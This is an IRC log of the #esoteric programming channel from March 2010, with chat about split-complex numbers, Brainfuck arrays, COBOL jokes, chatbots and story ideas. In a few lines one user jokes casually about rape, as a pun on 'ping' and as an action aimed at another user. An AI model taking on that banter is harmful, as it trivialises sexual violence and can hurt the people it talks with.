01:33:30 <oerjan> fizzie: it's isomorphic to the ring of 2*2 matrices ;D
01:34:14 <oerjan> oh wait now i'm failing reading too
01:35:13 <fizzie> Yes, it seems they've called split-complex numbers indeed.
01:36:28 <fizzie> (And a huge pile of other names.)
01:37:19 <uorygl> It's fun to have both the complex numbers and the split-complex numbers.
01:37:31 <uorygl> You have both i and j such that i^2 = -1 and j^2 = 1.
01:37:49 <uorygl> Then ij = -ji.
01:37:57 <uorygl> Darn, we've lost commutativity.
01:40:08 <augur> also
01:40:09 <augur> oh man
01:40:21 <augur> my university has the most students presenting at ECO5
01:40:22 <augur> wtf
01:40:24 <Sgeo> How does @ fit in with all of this
01:58:10 <alise> i have to go really soon... it's 1am i have to be up at 7
01:58:47 <augur> alise: bye ::hug::
01:59:11 <alise> unless fax says anything interesting in /msg in the next minutes or so...
02:00:37 <Sgeo> Bye alise :/
02:02:02 <alise> anyone have anything else to say?
02:02:16 <augur> stay strong, young one!
02:02:27 <alise> <3, everyone.
02:02:33 * alise gets in TARDIS; destination: Friday.
02:02:51 * augur plays Dr Who theme
02:03:06 <alise> WHAAAAAAAROOOOOOOOOOOOOOOO
02:03:10 <alise> DAH DUHHHHHHHHHHHHHHHHHHHHHHHHHHHH
02:03:22 <alise> DAH DUH DUH DUH DUH DUH DUH (DUH DUH) DUH BAM BAM BAM BUM
02:03:27 <alise> WHUUUUUUUUUAAAAAAAAROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
02:03:30 -!- alise has quit (Quit: Leaving).
02:04:01 <augur> *.*
02:05:25 <fax> hi augur
02:05:35 <augur> hey fax
02:05:37 <augur> soup?
02:06:28 <fax> me and alise were talking about finitism and ultrafinitism
02:06:45 <augur> its stupid k.
02:06:49 <fax> :(
02:07:36 <augur> also
02:07:38 <augur> TWO WEEKS O_O
02:07:56 <fax> hm?
02:08:01 <augur> yeah, figures. :|
02:08:08 <augur> Dr Who!
02:10:37 -!- ubunt63 has left (?).
02:10:45 <Gregor> "Doctor"
02:13:56 <augur> hush your face
02:39:58 <oklopol> i tried to go to sleep but i proved a theorem and had to come write it down :<
02:40:38 <oklopol> and now i can't sleep because my brain is all hyper
02:40:57 <augur> hahaha
02:40:59 <augur> awesome :)
02:41:04 * augur hugs oklopol
02:41:05 <augur> :D
02:41:22 <oklopol> \o/
02:41:22 <myndzi> |
02:41:22 <myndzi> /<
02:41:26 <oklopol> grr
02:41:37 <augur> hahaha
02:41:40 <augur> myndzi :D
02:41:47 <augur> i missed you :)
02:41:57 <oklopol> myndzi or me?!?
02:42:00 <oerjan> \m/ \m/
02:42:01 <augur> \o/ \o/ \o/
02:42:08 <augur> D:
02:42:10 <oklopol> \OO/
02:42:14 <augur> oklopol: myndzi.
02:42:16 <oerjan> \m/ \m/
02:42:20 <oklopol> \^__^/
02:42:23 <oerjan> bah
02:42:24 <oklopol> augur i knwo
02:42:25 <augur> tho i do love you totes.
02:42:25 <oklopol> *know
02:42:34 <augur> i had just forgotten myndzi's silliness
02:42:51 <oerjan> \m/ \m/
02:42:51 <myndzi> `\o/
02:42:51 <myndzi> |
02:42:51 <myndzi> /\
02:42:51 <myndzi> (_| |_)
02:43:50 <Sgeo> What just happened?
02:44:11 <pikhq> Myndzibot
02:44:16 <oerjan> Sgeo: the world ended. fortunately, they had a backup.
02:44:31 <Sgeo> Sounds like Station V3
02:44:48 <oerjan> i tried reading that
02:45:11 <oerjan> but after a number of comics, i discovered i was bored
02:45:19 <Sgeo> :(
02:46:42 <fax> myndzi is not a bot!
02:47:14 <oerjan> myndzi is a cyborg!
02:47:21 <augur> no but myndzi does RUN a bot
02:47:38 <augur> directly on er username
02:56:03 <nooga> /b/
03:00:23 <myndzi> uh oh lol
03:00:33 <myndzi> that one gets me in trouble sometimes!
03:02:45 <myndzi> not everybody lols. \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/
03:02:45 <myndzi> | | | | | | | | | | | |
03:02:45 <myndzi> /\ /| /| /< >\ /`\ /< /< |\ >\ >\ |\
03:03:00 -!- adu has joined.
03:05:27 <augur> myndzi: i like how his dick is waggling
03:05:50 <Sgeo> \m/ \m/
03:05:50 <myndzi> `\o/
03:05:51 <myndzi> |
03:05:51 <myndzi> (_|`|_)
03:05:52 <myndzi> hehe
03:05:57 <myndzi> wavin' in the breeze
03:06:00 <Sgeo> That seems ..off
03:06:06 <Sgeo> \m/\m/
03:06:30 <Sgeo> \f/ \f/
03:06:32 <myndzi> \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/
03:06:32 <myndzi> | `\o/ | `\o/ | `\o/ | `\o/ | `\o/ | `\o/ | `\o/ | `\o/ | `\o/ |
03:06:32 <myndzi> /< | /| | |\ | |\ | /| | /| | /< | |\ | /| | /|
03:06:32 <myndzi> /\ (_|`\ /\ /`|_) /`\ (_|'|_) /`\ (_|'\ /\
03:06:32 <myndzi> (_| |_) |_) (_| |_) (_| (_| |_) (_| |_) |_) (_| |_)
03:10:26 -!- adu has left (?).
03:26:49 <wareya> lol
03:28:53 -!- Oranjer has left (?).
03:34:33 <coppro> I have pokemon music stuck in my head
03:35:25 <oerjan> as long as you don't have a pokemon stuck in your head
03:35:59 <coppro> lol
03:36:10 <coppro> there's this one bit that sounds so awesome!
03:36:50 -!- Asztal has quit (Read error: Operation timed out).
03:48:57 -!- oerjan has quit (Quit: Reboot).
03:54:29 -!- fax has quit (Quit: Lost terminal).
03:55:17 -!- oerjan has joined.
04:13:23 <augur> fax! D:
04:13:25 <augur> noooo
04:13:56 <augur> i had a crazy idea for a story thanks to c-realm
04:15:02 -!- zzo38 has joined.
04:17:29 <zzo38> What idea of story did you mean
04:18:07 <augur> we invent teleportation. it works wonderfully for non-living things. but for living things, it screws up your electrochemistry, causing temporary death, and so its not recommended that people teleport too much or too frequently
04:19:12 <augur> our protagonist has such and such kind of job that necessitates increasing use of teleportation, and the more he uses it the more he starts to see things in the teleportation.
04:21:43 -!- jcp has joined.
04:21:44 -!- nooga has quit (Read error: Connection reset by peer).
04:21:51 <augur> he starts to see things. im not sure what yet, something inexplicable and such.
04:22:11 <augur> and eventually he ends up spending more and more subjective time in the jumps
04:29:53 <zzo38> I have my own story about teleportation: One guy makes up a new kind of teleporter but something goes wrong. Now we lost the harp. But that's OK, because it caused other things too which are beneficial to the situation anyways. The End
04:33:40 <augur> what? XD
04:36:06 <zzo38> Well, actually................
04:37:31 <lament> augur: your story is called Hyperion
04:39:07 <zzo38> I have another question, too: I thought of to connect high-address-bit of ARM11 to a flip-flop, and then the flip-flop to the NMI, but there must be some kinds of problem with instruction prefetch? Can this be fixed?
04:39:27 <augur> lament: ey?
04:48:59 -!- charlls has quit (Ping timeout: 268 seconds).
04:52:55 -!- charlls has joined.
05:12:00 * Sgeo fails to see "Cryonics" on WhatsTheHarm
05:37:21 -!- charlls has quit (Quit: Saliendo).
06:11:58 -!- zzo38 has quit (Quit: THIS IS NOT FOR GEFINGERPOKEN).
06:22:39 -!- oerjan has quit (Quit: leaving).
07:42:10 -!- FireFly has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:07:46 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
08:07:46 -!- tombom has joined.
08:44:47 -!- FireFly has quit (Quit: Leaving).
08:49:54 -!- tombom has quit (Quit: Leaving).
09:15:06 -!- adam_d has joined.
09:53:25 -!- nooga has joined.
10:06:33 -!- oerjan has joined.
10:18:19 <nooga> guten tag
10:18:26 <nooga> hujen morgen
10:18:39 <oerjan> morn morn
10:24:37 -!- lereah_ has joined.
10:42:58 -!- nooga has quit (Read error: Connection reset by peer).
10:48:15 -!- uorygl has quit (Read error: Connection reset by peer).
10:48:35 -!- uorygl has joined.
10:48:49 -!- uorygl has quit (Read error: Connection reset by peer).
10:50:57 -!- ais523 has joined.
10:53:36 -!- uorygl has joined.
11:18:03 -!- oerjan has quit (Quit: leaving).
11:32:48 -!- ais523 has quit (Remote host closed the connection).
11:41:05 -!- ais523 has joined.
12:15:18 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
13:20:40 -!- Asztal has joined.
13:42:10 <ais523> `define nickname
13:42:19 <HackEgo> * a familiar name for a person (often a shortened version of a person's given name); "Joe's mother would not use his nickname and always called him ... \ * dub: give a nickname to \ * a descriptive name for a place or thing; "the nickname for the U.S. Constitution is `Old Ironsides'"
13:48:20 <lereah_> `define Hitler
13:48:21 <HackEgo> * German Nazi dictator during World War II (1889-1945) \ [23]wordnetweb.princeton.edu/perl/webwn \ * Hitler is a Malayalam movie about the life of Madhavankutty (known as Hitler), a bachelor a protective brother of five younger. ...
13:48:37 <lereah_> ahahah wat
13:49:32 <ais523> `define esoteric
13:49:34 <HackEgo> * confined to and understandable by only an enlightened inner circle; "a compilation of esoteric philosophical theories" \ [22]wordnetweb.princeton.edu/perl/webwn \ * Esoteric is the fourth studio album by Swedish metal band Skyfire. It was released on September 14 in the United Kingdom, September 18 for the ...
13:50:24 <ais523> is that an appropriate definition for esolangs, I wonder?
13:50:49 <ais523> for esolangs, it's more that only a small number of people bother trying to understand them, rather than only a small number of people capable of understanding them
13:50:52 -!- hiato has joined.
13:51:00 <ais523> (except in a few cases like Feather, which not even I understand and I thought up the idea...)
13:51:48 -!- FireFly has joined.
13:57:21 <fizzie> It's still "confined to" and "currently understandable by"; I don't think the definition has to imply that it should be especially difficult to learn to understand.
13:57:38 <ais523> hmm, ok
13:57:46 <fizzie> That's just my take, of course.
13:57:52 <ais523> to me, that definition implies that the info is somehow kept secret
13:59:47 <fizzie> Well, maybe it has hints of that. Though "a compilation of esoteric philosophical theories" sounds more like not-interesting-to-many than kept-secret-by-design.
14:12:28 <fizzie> "About NetHack: power to protect the wearer's face; a feature that gives rise to their knees before arthur. the motile phase, commonly..."
14:13:45 <ais523> fizzie: are you using "About NetHack" for all fungot's twitter posts?
14:13:45 <fungot> ais523: where does he live? d:: double clicking selects its text editing both direction
14:14:24 <fizzie> ais523: No, there's also "About IRC", "About Penny Arcade" and "About Chrono Trigger" posts, but for some reason the NetHack ones seem to be best.
14:16:08 <ais523> aha
14:30:18 -!- cheater2 has quit (Quit: Leaving).
14:34:15 -!- adam_d has quit (Ping timeout: 265 seconds).
14:36:53 -!- cheater2 has joined.
14:41:34 -!- hiato has quit (Quit: underflow).
15:01:17 -!- MigoMipo has joined.
15:03:24 -!- ais523_ has joined.
15:08:46 -!- cheater2 has quit (Quit: Leaving).
15:19:42 -!- mycrofti1 has joined.
15:20:21 -!- werdan7_ has joined.
15:24:12 -!- fizzie` has joined.
15:24:26 -!- fizzie has quit (*.net *.split).
15:24:26 -!- werdan7 has quit (*.net *.split).
15:24:26 -!- bsmntbombdood has quit (*.net *.split).
15:24:26 -!- mycroftiv has quit (*.net *.split).
15:27:15 -!- cheater2 has joined.
15:31:40 -!- bsmntbombdood has joined.
15:36:11 -!- cheater2 has quit (Quit: Leaving).
15:43:12 -!- BeholdMyGlory has joined.
15:44:16 -!- cheater2 has joined.
16:08:45 -!- MigoMipo has quit (Remote host closed the connection).
16:11:11 -!- MigoMipo has joined.
16:13:08 -!- mycrofti1 has changed nick to mycroftiv.
16:17:24 -!- MigoMipo has quit (Remote host closed the connection).
16:28:00 <pineapple> anyone here have experience with optical character recognition?
16:28:47 -!- MigoMipo has joined.
16:32:53 <lereah_> I do it with my eyes every day!
16:52:13 -!- uoryfon has joined.
17:02:25 -!- werdan7_ has quit (Ping timeout: 615 seconds).
17:07:26 -!- werdan7 has joined.
17:09:11 <pineapple> lereah_: :-P
17:27:41 -!- fax has joined.
17:45:59 -!- uoryfon_ has joined.
17:45:59 -!- uoryfon has quit (Read error: Connection reset by peer).
17:46:03 -!- uoryfon_ has changed nick to uoryfon.
17:48:48 -!- uoryfon has quit (Read error: Connection reset by peer).
17:50:11 -!- uoryfon has joined.
17:52:06 <ais523_> "Seven-value logic may also be able to produce Turing-complete languages, but only extreme oddballs would want to use it."
17:52:15 <ais523_> no, nine!
17:54:11 <ais523_> the quote's from <http://www.geocities.com/tablizer/science.htm>, which somehow still exists, and which is interesting (although I don't know if I agree with it or not yet)
18:04:32 <oklopol> i don't know whether i agree or not either, because it's so long i'm not gonna read it! :)
18:09:01 -!- zzo38 has joined.
18:15:22 -!- augur has quit (Ping timeout: 276 seconds).
18:17:47 -!- ais523_ has quit (Quit: Page closed).
18:21:26 -!- HackEgo has quit (Ping timeout: 252 seconds).
18:22:08 -!- zzo38 has quit (Remote host closed the connection).
18:23:34 -!- lereah_ has quit (Quit: Leaving).
18:25:35 -!- uoryfon has quit (Read error: Connection reset by peer).
18:26:22 -!- uoryfon has joined.
18:29:17 -!- uoryfon has quit (Read error: Connection reset by peer).
18:29:37 -!- uoryfon has joined.
18:33:45 -!- uoryfon_ has joined.
18:33:45 -!- uoryfon has quit (Read error: Connection reset by peer).
18:33:47 -!- uoryfon_ has changed nick to uoryfon.
18:34:28 -!- uoryfon has quit (Read error: Connection reset by peer).
18:34:58 -!- uoryfon has joined.
18:39:02 -!- Gracenotes has quit (Ping timeout: 252 seconds).
18:47:37 -!- augur has joined.
18:49:01 -!- nooga has joined.
18:49:52 * nooga just tried to parallelize odd-even sort using openMP and found out that parallel version runs 100% slower
18:50:59 <pikhq> No surprise. Threading has overhead.
18:52:00 <nooga> array access is a possible bottleneck
18:52:41 -!- uoryfon has quit (Quit: Colloquy for iPhone - http://colloquy.mobi).
19:04:39 -!- kar8nga has joined.
19:09:40 -!- ais523 has quit (Remote host closed the connection).
19:27:41 <fax> 1*1 means I give you a dollar. You are $1 better off.
19:27:41 <fax> 1*(-1) means I give an IOU for a dollar. You are $1 worse off.
19:27:41 <fax> (-1)*1 means I take away one dollar. You are $1 worse off.
19:27:43 <fax> (-1)*(-1) means I take away one IOU for a dollar. You are $1 better off.
19:33:49 <Gregor> Except that if you're an honest person, and you give me an IOU for $1, I'm $1 better off.
19:34:11 <fax> woah honesty proves cubic truth
19:34:24 <Gregor> (Slightly less, adjusting for the unknown inflation between the moment I receive the IOU and the moment you actually give me the dollar)
19:52:54 <AnMaster> fax, non-commutative?
19:53:20 <AnMaster> oh wait
19:53:29 <AnMaster> just different interpretations
19:53:40 <AnMaster> since (-1)*1 != 1*(-1) there
19:53:46 <AnMaster> one is an IOU the other is not
20:01:58 <fax> if there is a biggest number, which, when you add one to it -- you get zero again
20:02:07 <fax> can we find this number using subtraction?
20:02:51 <pineapple> 0 - 1
20:03:38 -!- hiato has joined.
20:14:16 <pikhq> fax: Only in modular arithmetic.
20:18:30 -!- olsner has quit (Read error: Connection reset by peer).
20:20:36 <AnMaster> pikhq, what about negative numbers
20:20:41 <AnMaster> don't we wrap around to them fax
20:33:06 -!- olsner has joined.
21:11:39 -!- nooga has quit (Ping timeout: 258 seconds).
21:13:11 <AnMaster> fax, what is that "cubic truth" stuff btw?
21:13:14 <AnMaster> is it about timecube?
21:21:51 <Deewiant> Most probably.
21:34:00 -!- hiato has quit (Quit: underflow).
22:00:30 -!- nooga has joined.
22:13:47 -!- oerjan has joined.
22:35:48 -!- coppro has joined.
22:47:30 <Gregor> Thus joineth the trifecta.
22:47:59 <oerjan> `define trifecta
22:48:31 <oerjan> another bot mercilessly assassinated
22:51:04 -!- fizzie` has changed nick to fizzie.
23:02:33 -!- HackEgo has joined.
23:02:40 <Gregor> `define trifecta
23:02:43 <HackEgo> * In horse racing terminology, a trifecta is a parimutuel bet in which the bettor must predict which horses will finish first, second, and third in exact order. The word comes from the related betting term, "perfecta". A trifecta is known as a Tierc in France and Hong Kong. \ [17]en.wikipedia.org/wiki/Trifecta
23:02:59 <oerjan> that's what you meant, right?
23:04:12 <Gregor> Yes.
23:04:37 <Gregor> I was pretending that nooga - oerjan - coppro were a trifecta, since you joined in that order with no other actions in between ;P
23:05:18 * oerjan swats Gregor -----###
23:05:22 <oerjan> I'M NOT A HORSE
23:05:30 <Gregor> That's what she said.
23:05:34 <Gregor> Nowait.
23:05:37 <Gregor> She said "neiiiiiigh"
23:05:55 -!- augur has quit (Ping timeout: 276 seconds).
23:06:05 <oerjan> she was probably scandinavian then
23:06:14 <Gregor> Bravo, sir :P
23:06:43 -!- olsner has quit (Quit: Leaving).
23:09:26 -!- charlls has joined.
23:16:49 <pikhq> 馬よ!
23:19:06 -!- coppro has quit (Read error: Operation timed out).
23:20:48 -!- MigoMipo has quit (Remote host closed the connection).
23:39:57 -!- coppro has joined.
23:46:56 -!- FireFly has quit (Quit: Leaving).
23:47:30 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:47:45 -!- charlls has quit (Quit: Saliendo).
23:49:48 -!- kar8nga has quit (Remote host closed the connection).
2010-03-23
00:04:20 -!- jcp has joined.
00:07:26 -!- augur has joined.
00:40:33 -!- Tritonio_GR has joined.
00:44:38 <Tritonio_GR> hello everyone
00:44:52 <oerjan> hello
00:45:49 <oerjan> silent day today.
00:47:58 <Tritonio_GR> hmmm
00:49:23 * Sgeo never saw Tritonio_GR before
00:50:02 <Tritonio_GR> you've seen me. but you don't remember me.
00:50:17 <Tritonio_GR> i was usually on this room before one year or so...
00:50:22 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
00:50:22 <Tritonio_GR> when i was more into brainfuck
00:50:44 <Sgeo> Ah
00:50:47 <Tritonio_GR> after that i didn't use an IRC client often. but now i decided that pidgin is nice for IRC too. :-)
00:50:55 <Tritonio_GR> so i'll be online every day again.
00:51:06 <Sgeo> Cool
00:51:29 -!- jcp has joined.
00:51:37 <Tritonio_GR> do you remember i way to make arrays in brainfuck?
00:52:46 <fax> brainfuck IS an arrow
00:52:49 <fax> brainfuck IS an array*
00:52:52 <Tritonio_GR> i know.
00:52:58 <Tritonio_GR> but a way to implement arrays ovcer brainfuck
00:53:11 <Tritonio_GR> that is ask the user about the index and the value and store it
00:53:23 <Tritonio_GR> and then ask him for the index and get tha value back
00:53:29 <Tritonio_GR> something like that
00:54:09 * Sgeo remembers seeing several ways to do that, some of which some.. thing used internally
00:55:02 <Tritonio_GR> there are several ways. the only usefull thing that i did about this is that i found one that needs n+4 cells to store n values instead of 2*n+a
00:57:25 <Sgeo> http://esolangs.org/wiki/Brainfuck_algorithms#x.28y.29_.3D_z_.281-d_array.29_.281_cell.2Farray_element.29 ?
00:58:31 <Tritonio_GR> that one.
01:04:11 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
01:04:48 -!- Tritonio_GR has joined.
01:15:49 -!- fax has quit (Quit: Lost terminal).
01:19:15 -!- Quadrescence has joined.
01:26:59 -!- cheater2 has quit (Ping timeout: 260 seconds).
01:32:57 <Quadrescence> augur: ping
01:33:07 <augur> Quadrescence: rape
01:33:10 <augur> i mean, pong
01:33:37 <Quadrescence> augur: PM me PLEASE
01:33:45 <augur> no u
01:36:01 <Sgeo> Why would someone want HC insurance with a lifetime cap?
01:43:17 <pikhq> Sgeo: Being uninformed.
02:02:22 <Gregor> What is with this channel and people begging to PM each other.
02:04:58 <pikhq> Gregor: COULD YOU PM ME
02:05:11 <Gregor> pikhq: NOT IF YOUR LIFE DEPENDED ON IT
02:05:12 <pikhq> AND BY PM, I MEAN POST MERIDIAN
02:05:43 <oerjan> *MERIDIEM
02:06:06 <pikhq> oerjan: KTHX
02:06:15 <oerjan> YWCM
02:06:34 <Gregor> WWOD
02:07:31 <oerjan> Gregor: i don't know, i suggest you pray and ask him
02:07:49 -!- Asztal has quit (Ping timeout: 265 seconds).
02:07:50 <Gregor> OH GREAT AND POWERFUL OERJAN
02:08:02 <Gregor> I BOW DOWN TO YOUR UNMATCHED GLORY
02:08:06 <pikhq> WHAT WOULD OERJAN DO
02:08:11 <oerjan> wait i thought you were referring to Odin here
02:08:20 <Gregor> PLEASE FIND IT IN YOUR HEART TO ANSWER ME MY SIMPLE PLEA
02:08:22 <Gregor> WHAT WOULD YOU DO?
02:08:38 <Gregor> (I find that screaming helps praying, gods are totally deaf)
02:08:45 <oerjan> I WOULD TAKE CARE WITH MY LATIN SPELLING
02:09:35 <oerjan> Gregor: i think it's a chicken and egg problem
02:09:59 <oerjan> does screaming help because gods are deaf, or are gods deaf because people scream all the time
02:10:03 -!- Slereah has quit (Ping timeout: 252 seconds).
02:10:42 <pikhq> I find that deafening gods aids finding their believers.
02:11:24 <oerjan> that - may make sense.
02:12:04 <oerjan> i mean the believers cannot use miracles to hide if their gods cannot hear them
02:12:41 <pikhq> It also means that I get to find them by their yelled prayers.
02:13:18 <oerjan> ah.
02:17:05 -!- jcp has quit (Read error: Connection reset by peer).
02:18:15 -!- jcp has joined.
02:22:23 -!- augur has quit (Ping timeout: 258 seconds).
02:22:32 -!- Slereah has joined.
02:36:03 -!- jcp has quit (Read error: Connection reset by peer).
02:37:11 -!- jcp has joined.
02:51:48 -!- coppro has quit (Ping timeout: 276 seconds).
03:10:49 -!- coppro has joined.
03:11:20 -!- coppro has quit (Client Quit).
03:40:11 -!- jcp has quit (Read error: Connection reset by peer).
03:41:17 -!- jcp has joined.
04:01:19 -!- olsner has joined.
04:34:54 -!- oerjan has quit (Quit: leaving).
04:51:27 -!- jcp has quit (Read error: Connection reset by peer).
04:52:38 -!- jcp has joined.
05:33:45 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
05:34:52 -!- jcp has joined.
05:58:58 -!- HackEgo has quit (Ping timeout: 258 seconds).
06:11:31 -!- Sgeo_ has joined.
06:13:03 -!- Sgeo has quit (Ping timeout: 240 seconds).
06:22:19 -!- cheater2 has joined.
06:23:01 <pikhq> I IS NOW 10
06:23:03 <pikhq> 20
06:23:08 <pikhq> NOT 10, 20.
06:27:35 <Sgeo_> pikhq, we're the same age!
06:27:43 <pikhq> Whoo.
06:27:46 <Sgeo_> [If you round down]
06:27:49 <pikhq> Wait, you're 10? :P
06:27:58 <Sgeo_> lol
06:28:11 * Sgeo_ should be getting ready to go to sleep or somesuch
06:40:22 -!- Sgeo_ has changed nick to Sgeo.
06:59:10 <Quadrescence> pikhq: hey i turned 20 on the 12th
06:59:15 <Quadrescence> we are now brothers
07:00:05 <Sgeo> Why are all these younger people smarter than I am?
07:00:08 <pikhq> Really?
07:00:28 <pikhq> Sgeo: It's not "smarter" necessarily.
07:00:42 <pikhq> It's just that I've been programming since I was freaking 8 years old.
07:02:15 * Sgeo 's um.. well, not programmed, but read about programming since he was young :/
07:02:36 <Sgeo> Didn't get much practise back then, but loved reading about it
07:04:14 <Sgeo> Crud, I NEED to wake up by a certain time
07:04:21 <Sgeo> And see no way of guaranteeing it's happening
07:04:51 <Quadrescence> Sgeo: this is the book I'm reading http://i.imgur.com/9Gr7E.jpg
07:04:55 <Quadrescence> and yes that is my hand
07:05:08 * Sgeo stopped reading physical books a while ago
07:05:41 <Sgeo> o.O at COBOL
07:05:48 * Sgeo read a COBOL book some time ago
07:05:54 -!- nooga has quit (Read error: Operation timed out).
07:06:11 <Sgeo> Remembered some book or other talking about CORBA. When I saw "COBOL for Dummies", got confused, so bought it
07:07:05 <Quadrescence> Sgeo: Why did you stop reading physical books?
07:07:29 <Sgeo> Too much effort to actually take my eyes off the computer, or to go to the library
07:08:04 <Quadrescence> :(
07:08:16 <Quadrescence> I am printing and binding books now for people
07:09:18 <Sgeo> Also, not a fan of paying money for stuff
07:12:05 * Sgeo should really be preparing for sleep
07:13:29 <Quadrescence> Sgeo: Yeah that is why I am printing these books for people
07:13:41 <Quadrescence> since I sell them at a flat rate of $8 as opposed to $80
07:13:55 <Sgeo> $8 > $0
07:14:05 <Sgeo> >.>
07:16:12 <Quadrescence> Yes but reading a book on paper > reading a book on screen
07:16:33 <Quadrescence> and the knowledge gained from the book is usually priceless, if not more valuable than $8 in the future
07:27:22 <lament> the only thing that's priceless is eternal youth
07:28:18 <lament> everything else is $3.50
07:28:34 <Quadrescence> lament: tru
07:29:24 <lament> oh and true love
07:29:28 <lament> it's like $4.75
07:29:55 <lament> so your books are overpriced imo
07:35:00 <Quadrescence> lament: math booz
07:35:04 <Quadrescence> booz LOL
07:35:05 <Quadrescence> i mean boox
07:35:25 -!- augur has joined.
07:41:18 -!- sebbu2 has joined.
07:41:40 -!- sebbu has quit (Ping timeout: 240 seconds).
07:41:46 -!- sebbu2 has changed nick to sebbu.
07:44:43 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:45:53 -!- jcp has joined.
07:46:05 -!- FireFly has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:02:15 -!- tombom has joined.
08:03:48 -!- oerjan has joined.
08:12:15 -!- wareya has quit (Ping timeout: 265 seconds).
08:25:38 -!- MigoMipo has joined.
08:38:38 -!- kar8nga has joined.
08:43:13 -!- oerjan has quit (Quit: leaving).
08:47:52 -!- MigoMipo has quit (Remote host closed the connection).
08:48:18 -!- tombom has quit (Quit: Leaving).
09:13:42 -!- jcp has quit (Read error: Connection reset by peer).
09:14:52 -!- jcp has joined.
09:31:53 -!- FireFly has quit (Quit: Leaving).
09:36:23 -!- hiato has joined.
09:42:56 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
10:38:54 -!- Tritonio_GR has joined.
10:46:50 -!- lereah_ has joined.
12:13:35 -!- kar8nga has quit (Remote host closed the connection).
12:30:13 -!- oklopol has quit (Read error: Connection reset by peer).
12:30:33 -!- oklopol has joined.
12:38:30 -!- AnMaster has set topic: "Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter: A(g_64,g_64)+1 | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
12:44:58 -!- hiato has quit (Quit: underflow).
12:45:14 -!- ais523 has joined.
12:45:26 -!- ais523 has quit (Changing host).
12:45:26 -!- ais523 has joined.
12:45:26 -!- ais523 has quit (Changing host).
12:45:26 -!- ais523 has joined.
12:46:34 -!- ais523 has set topic: this topic is incorrect today but will be correct tomorrow | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
13:17:43 -!- nooga has joined.
13:25:01 <ais523> "MAIN-MODULE.\nmov y x giving z using AbstractFactory(get property1() while getting property2())."
13:25:10 <ais523> such a pity that was a parody... maybe we should invent it
13:30:03 <Quadrescence> ais523: COBOL invented that 50-some years ago
13:30:11 <Quadrescence> (or was that invention)
13:30:17 <ais523> Quadrescence: it's meant to be a mix of cobol, asm and java
13:30:38 <Quadrescence> ADD ONE TO COBOL GIVING COBOL
13:30:43 <Deewiant> "mov y x giving z" doesn't seem very sensible
13:30:50 <ais523> no
13:31:08 <ais523> nor does the whole AbstractFactory thing, which while rather Java-reminicent, doesn't make sense in that context
13:31:09 <Quadrescence> Deewiant: In no way is anything cobol sensible
13:31:32 <Deewiant> ais523: Well, if xyz are meant to be placeholders for more complex expressions it could
13:31:41 <Deewiant> Quadrescence: Sure it is
13:31:45 <ais523> (in that an AbstractFactory would be a class that would make it easier to create your own factories by providing some of the methods for them, but couldn't themselves be instantiated)
13:31:49 <Quadrescence> Deewiant: No.
13:32:06 <ais523> Quadrescence: you can just write "ADD ONE TO COBOL" apparently, no need for the "GIVING COBOL"
13:32:19 <Quadrescence> ais523: Except that is way less cool
13:32:48 <ais523> over-verbose COBOL is cool nowadays?
13:33:17 <Quadrescence> It's cool only because it's ridiculous and funny.
13:33:29 <Quadrescence> ADD ONE TO COBOL GIVING COBOL (AOTCGC) could be the next best thing ais523. If you start making it, I'd support you all the way.
13:33:55 <ais523> Quadrescence: I'm pretty sure that that name's been applied to esolangs in the past, maybe as a nickname
13:33:59 <ais523> hmm... ORK?
13:35:27 -!- nooga_ has joined.
13:37:59 <Quadrescence> COmmon Verbosity-Oriented Language: COVOL
13:38:00 <Quadrescence> ;)
13:38:50 -!- nooga has quit (Ping timeout: 248 seconds).
13:39:23 <ais523> hmm, you could just take Java and change the syntax from C-like to COBOL-like
13:39:34 <ais523> that would accomplish the task in question quite well
13:51:44 -!- ais523 has quit (Quit: Page closed).
14:14:57 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
14:18:02 -!- Tritonio_GR has joined.
14:27:10 -!- Cyclist2 has joined.
14:28:57 -!- augur has quit (Ping timeout: 258 seconds).
14:56:49 -!- oerjan has joined.
14:58:34 -!- augur has joined.
15:07:03 -!- ais523 has joined.
15:39:15 -!- hiato has joined.
15:59:31 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
16:21:24 -!- hiato has quit (Quit: Lost terminal).
16:21:57 -!- hiato has joined.
16:32:12 -!- charlls has joined.
16:35:50 -!- charlls has quit (Client Quit).
16:42:22 -!- FireFly has joined.
16:43:55 -!- lereah_ has quit (Remote host closed the connection).
16:54:19 -!- Asztal has joined.
17:00:54 -!- fax has joined.
17:04:30 -!- hiato has quit (Quit: underflow).
17:12:17 -!- MigoMipo has joined.
17:16:56 <fax> oklopol
17:40:24 -!- oerjan has quit (Quit: Good night).
17:40:56 * AnMaster installs ti link cable software for linux and hopes it will work
18:10:05 -!- tombom has joined.
18:11:34 -!- MigoMipo has quit (Read error: Connection reset by peer).
18:15:38 <oklopol> fax
18:19:41 <augur> oklopol! :o
18:19:44 * augur rapes oklopol
18:25:47 -!- BeholdMyGlory has joined.
18:28:48 -!- MigoMipo has joined.
18:32:37 <fax> augur naughty augur
18:32:48 * augur bites fax
18:41:23 -!- ais523 has quit (Remote host closed the connection).
18:41:33 <fax> bad!!!
18:41:47 <augur> :x
18:41:59 <oklopol> wait i've been virturaped
18:45:45 <fax> Ι
18:45:48 <fax> that's Iota :(
18:45:56 <fax> it's the same danm thing
18:46:00 <fax> oh nvm ι works
18:47:50 -!- kar8nga has joined.
18:53:00 <fax> fuck
19:02:49 -!- Cyclist2 has quit (Remote host closed the connection).
